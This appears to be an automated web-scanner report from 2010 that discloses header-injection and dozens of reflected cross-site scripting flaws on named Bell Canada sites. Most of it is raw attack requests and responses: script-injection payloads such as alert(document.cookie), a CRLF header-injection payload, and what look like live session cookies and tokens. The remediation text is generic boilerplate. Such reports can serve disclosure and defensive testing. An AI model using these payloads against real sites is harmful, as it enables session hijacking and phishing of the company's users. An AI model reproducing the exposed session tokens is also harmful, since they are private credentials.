Report generated by XSS.CX at Mon Nov 22 20:09:28 CST 2010.


Cross Site Scripting Report for bell.ca - proof of concept

Loading

1. HTTP header injection

2. Cross-site scripting (reflected)

2.1. http://internet.bell.ca/Images/flash/sifr.swf [REST URL parameter 1]

2.2. http://internet.bell.ca/Images/flash/sifr.swf [REST URL parameter 2]

2.3. http://internet.bell.ca/Images/flash/sifr.swf [REST URL parameter 3]

2.4. http://internet.bell.ca/favicon.ico [REST URL parameter 1]

2.5. http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm [REST URL parameter 2]

2.6. http://internet.bell.ca/img_gallery/90_en.gif [REST URL parameter 1]

2.7. http://internet.bell.ca/img_gallery/90_en.gif [REST URL parameter 2]

2.8. http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/index.cfm [REST URL parameter 3]

2.9. http://internet.bell.ca/index.cfm [83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 parameter]

2.10. http://internet.bell.ca/index.cfm [REST URL parameter 1]

2.11. http://internet.bell.ca/index.cfm [method parameter]

2.12. http://internet.bell.ca/index.cfm [name of an arbitrarily supplied request parameter]

2.13. http://internet.bell.ca/index.cfm [path_requested parameter]

2.14. http://internet.bell.ca/index.cfm [path_requested parameter]

2.15. http://www.bell.ca/accessibilityservices [name of an arbitrarily supplied request parameter]

2.16. http://www.bell.ca/home/Home_L_Login.page [customLabel parameter]

2.17. http://www.bell.ca/home/Home_L_login.page [refreshLink parameter]

2.18. http://www.bell.ca/home/Home_L_login.page [refreshLink parameter]

2.19. http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page [uid parameter]

2.20. http://www.bell.ca/shopping/PrsShp_Search.page [faq parameter]

2.21. http://www.bell.ca/shopping/PrsShp_Search.page [lob parameter]

2.22. http://www.bell.ca/shopping/PrsShp_Search.page [question_box parameter]

2.23. http://www.bell.ca/shopping/PrsShp_Search.page [question_box parameter]

2.24. http://www.bell.ca/shopping/PrsShp_Search.page [question_box parameter]

2.25. http://www.bell.ca/shopping/PrsShp_Search.page [support parameter]

2.26. http://www.bell.ca/shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr [batchId parameter]

2.27. http://www.bell.ca/shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr [c0-id parameter]

2.28. http://www.bell.ca/shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr [c0-scriptName parameter]

2.29. http://www.bell.ca/shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr [callCount parameter]

2.30. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [batchId parameter]

2.31. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [c0-id parameter]

2.32. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [c0-param0 parameter]

2.33. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [c0-scriptName parameter]

2.34. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [callCount parameter]

2.35. http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm [Referer HTTP header]

2.36. http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm [User-Agent HTTP header]

2.37. http://www.bell.ca/shopping/function%20(obj)%7B%20%20%20%20%20%20%20%20for(var%20i=0 [Referer HTTP header]

2.38. http://www.bell.ca/shopping/resources/error/server_error_redirect.jsp [Referer HTTP header]

2.39. http://www.bell.ca/shopping/tpl-smallImageUrl [Referer HTTP header]

2.40. http://www.bell.ca/shopping/web/wireless/all_languages/all_regions/catalog_images/icon/mobile/HTC_DesireZ_70785.jpg [Referer HTTP header]

3. Referer-dependent response

4. Private IP addresses disclosed

5. HTML does not specify charset

5.1. http://www.bell.ca/favico.ico

5.2. http://www.bell.ca/favicon.ico

6. Content type incorrectly stated



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the path_requested request parameter is copied into the location response header. The payload 63958%0d%0a5bba625b1e2 was submitted in the path_requested parameter. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /index.cfm?method=promo_urls.validate&path_requested=63958%0d%0a5bba625b1e2 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/script%3Eea5c675b356
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478575947%3B%20s_lv%3D1290476775951%7C1385084775951%3B%20s_lv_s%3DFirst%2520Visit%7C1290478575951%3B%20s_pv%3DShop%253AMobile%253ASmartphones%252C%2520phones%2520-%2520mobile%2520internet%253AProducts%2520details%7C1290478575972%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":4,"to":4.3,"c":"http://www.bell.ca/shopping/LG-Optimus-Quantumwith-Windows--Phone-7/70772.details","f":1290476775436,"lc":{"d0":{"v":2,"s":false}},"cd":0,"sd":0}; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; SMSESSION=DgnZRN+/N2PggGTzftM2LiaZPtOGYvEoty3jcRvX87is+/24awHyXezZZPIt1lThw5/ErSkBcQP96VmZQq3Q77KsktCjLN8Sxygv/jZ1/CtcDNQGBWVohm1MoHcpVVgo3Wpwf8e+e7NwuoyZRuLewT65G4cN6rwwU7EskcFm29MI29NBkKAaKOxS8aRtqBkFSbxEe5raIbBnJNwIO+bDgisjaM1pizKBscUvVdzpXY+XnoEtzhDE7Rj52I5s92IjzY82i4v4KyjAwpJ4RQpzRx2xOGcwc+KMRY9VKXiH6SvNK4NjFe1NSw==; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478621280%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.4.10.1290476758

Response

HTTP/1.1 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 02:08:22 GMT
Connection: close
Set-Cookie: SMSESSION=ZoQi10bWQlJJDhjCZPcfcL+DXyWbXAdG7sr8L72KVcHBgOzOLA983gODKVcVayxm6KYD/dFqYV19fFFwzxbL2s3aXBRQAtNB5DsOy6MfeCjTZ1DeX1Em70DJ8Nau1yM61gFR+C5pKkVaHr14mABmIOqdt6iKOT2lmVQF0vg+L9rADBPi0TNFgrv3KJxt+tfMOPZff1UPqdK69GWUTy7OchCoTJ7e3n/g1txf8ve9mO0s9y2WqZemTB7/Je10SKfikhy4uZFIjU7vrKEkwR9aekrIfB/LNTadHcy6idjwo77sgzy/A/MAQQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 02:08:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 02:08:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 02:08:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 02:08:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 02:08:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 02:08:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 02:08:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 02:08:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 02:08:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
location: index.cfm?method=home.pagenotfound&path_requested=63958
5bba625b1e2

Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1


2. Cross-site scripting (reflected)  previous  next
There are 40 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://internet.bell.ca/Images/flash/sifr.swf [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /Images/flash/sifr.swf

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d76b"><script>alert(1)</script>d34e25e0152 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /Images3d76b"><script>alert(1)</script>d34e25e0152/flash/sifr.swf HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(1)%3C/script%3E8d68ea21d78=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478479424%3B%20s_lv%3D1290476679430%7C1385084679430%3B%20s_lv_s%3DFirst%2520Visit%7C1290478479430%3B%20s_pv%3DShop%253AMobile%253AOverview%253ALanding%7C1290478479448%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":3,"to":4.6,"c":"http://www.bell.ca/shopping/PrsShpWls_Landing.page","f":1290476677957,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253AOverview%2525253ALanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252F70772.details%252526ot%25253DA%3B; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E8d68ea21d78%3D1; VOKEN_SEEN=0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290478557546%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.1.10.1290476758

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:48:18 GMT
Connection: close
Set-Cookie: SMSESSION=UG2FrD5Amv8rB9z/azQpw0v46toXqp8JNJ9vKBPmIGbsrxTJeoqUYsE4WVlc2fM1fGEMWnLCKWz7crfxQDMTdbDjkIs2AxUiMpNPAcOOGZVOWpZZBTAV0oNJadzhgjcQGtieQXCAH2IH2Kg2U7p2ZY7D7XxdMhHy0tsYhiW4z+xH73YiHc/Nx9qnovX378Jv2bwFAhk5o2TCu71HTXjapkvINIZ9sOmE0ThddOJkSmO1bIFWFQ7fLlgfulKISNtFYyoEa5iCQY+1ONlLHq3LWH+rXACzMmIVAm6C/6UoSq9FCikEk1cw3A==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:48:19 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:48:19 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:48:19 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:48:19 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:48:19 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:48:19 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:48:19 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:48:19 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:48:19 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:48:19 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/Images3d76b"><script>alert(1)</script>d34e25e0152/flash/sifr.swf" />
...[SNIP]...

2.2. http://internet.bell.ca/Images/flash/sifr.swf [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /Images/flash/sifr.swf

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db0b7"><script>alert(1)</script>22c8029c4d8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /Images/flashdb0b7"><script>alert(1)</script>22c8029c4d8/sifr.swf HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(1)%3C/script%3E8d68ea21d78=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478479424%3B%20s_lv%3D1290476679430%7C1385084679430%3B%20s_lv_s%3DFirst%2520Visit%7C1290478479430%3B%20s_pv%3DShop%253AMobile%253AOverview%253ALanding%7C1290478479448%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":3,"to":4.6,"c":"http://www.bell.ca/shopping/PrsShpWls_Landing.page","f":1290476677957,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253AOverview%2525253ALanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252F70772.details%252526ot%25253DA%3B; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E8d68ea21d78%3D1; VOKEN_SEEN=0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290478557546%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.1.10.1290476758

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:48:20 GMT
Connection: close
Set-Cookie: SMSESSION=h/LJMSEVRUYnyE5mI67WqgIMGpAYGiwJn5FNWrO8znbIXvtsK9NZbPOg9YiJBu1DDmVAjBFwK117b6YHfNTKtnQz3ga8KcvVhySk/I127/rvNji8GiQpDnDRzANvnJBQkDto23jadj23MeD8Wu8Le11bBZb4bMYpveSzVq4k3oJXtvxjHlXiZbxshXWiRDzZVCdEmT3wVLtUSJfS9YxGIeWgy9oMFZ/luh/krZ3vkyL8BW32wRvRcqNq1R67p9qUsOCUtkuE9AW03U+91rFujeYfjsc0W+K1x69fOPLH3geUWbDCC0Ks+g==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:48:21 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:48:21 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:48:21 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:48:21 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:48:21 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:48:21 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:48:21 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:48:21 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:48:21 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:48:21 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/Images/flashdb0b7"><script>alert(1)</script>22c8029c4d8/sifr.swf" />
...[SNIP]...

2.3. http://internet.bell.ca/Images/flash/sifr.swf [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /Images/flash/sifr.swf

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a129"><script>alert(1)</script>1045a7bd2bf was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

